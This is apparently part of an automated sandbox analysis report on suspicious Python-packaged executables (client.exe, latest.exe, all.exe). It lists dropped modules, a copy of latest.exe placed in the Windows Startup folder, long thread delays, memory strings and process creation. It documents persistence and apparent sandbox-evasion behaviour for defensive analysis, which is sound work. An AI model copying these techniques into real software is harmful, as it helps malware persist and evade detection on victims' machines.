Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe	Window / User API: threadDelayed 9332	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Window / User API: threadDelayed 5818	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Window / User API: threadDelayed 4164	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\win32gui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\_elementpath.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\win32process.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\sax.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\charset_normalizer\md__mypyc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\pythoncom312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\_bounded_integers.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\PIL\_imagingcms.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\objectify.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\lxml\_elementpath.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\fft\_pocketfft_umath.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\_core\_multiarray_umath.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_brotli.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\mtrand.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\bit_generator.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\yaml\_yaml.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\lxml\etree.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\cv2\opencv_videoio_ffmpeg4100_64.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\PIL\_webp.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\_mt19937.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\zstandard\backend_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\charset_normalizer\md__mypyc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\pywintypes312.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_mt19937.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_pcg64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\linalg\_umath_linalg.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_generator.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\win32gui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\builder.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_brotli.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\zstandard\backend_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_common.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\_core\_multiarray_umath.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\PIL\_imaging.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\lxml\etree.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\charset_normalizer\md.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\cv2\cv2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\_philox.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_brotli.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\yaml\_yaml.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_sfc64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\PIL\_imagingcms.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\zstandard\_cffi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\zstandard\_cffi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\win32process.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\_sfc64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\_core\_multiarray_tests.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_philox.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\pythoncom312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\bit_generator.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\zstandard\backend_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\_bounded_integers.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\lxml\sax.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\_common.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\_generator.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\cv2\opencv_videoio_ffmpeg4100_64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\lxml\builder.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\PIL\_imaging.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\charset_normalizer\md.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\PIL\_webp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\_core\_multiarray_tests.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\bcrypt\_bcrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\numpy\random\_pcg64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\lxml\objectify.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\cv2\cv2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\random\mtrand.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\fft\_pocketfft_umath.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\numpy\linalg\_umath_linalg.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\pywintypes312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\charset_normalizer\md__mypyc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\charset_normalizer\md.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\client.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\zstandard\_cffi.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe TID: 2676	Thread sleep count: 473 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe TID: 2676	Thread sleep time: -473000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe TID: 2676	Thread sleep count: 9332 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe TID: 2676	Thread sleep time: -9332000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe TID: 6420	Thread sleep count: 5818 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe TID: 6420	Thread sleep time: -5818000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe TID: 6420	Thread sleep count: 4164 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe TID: 6420	Thread sleep time: -4164000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: client.exe, 00000000.00000003.2084736627.0000017FEE197000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd
Source: client.exe, 00000003.00000002.4543808386.0000019AB98D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\client.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe C:\Users\user\Desktop\client.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\latest.exe latest.exe	Jump to behavior
Source: C:\Users\user\Desktop\latest.exe	Process created: C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\all.exe C:\Users\user\Desktop\latest.exe	Jump to behavior
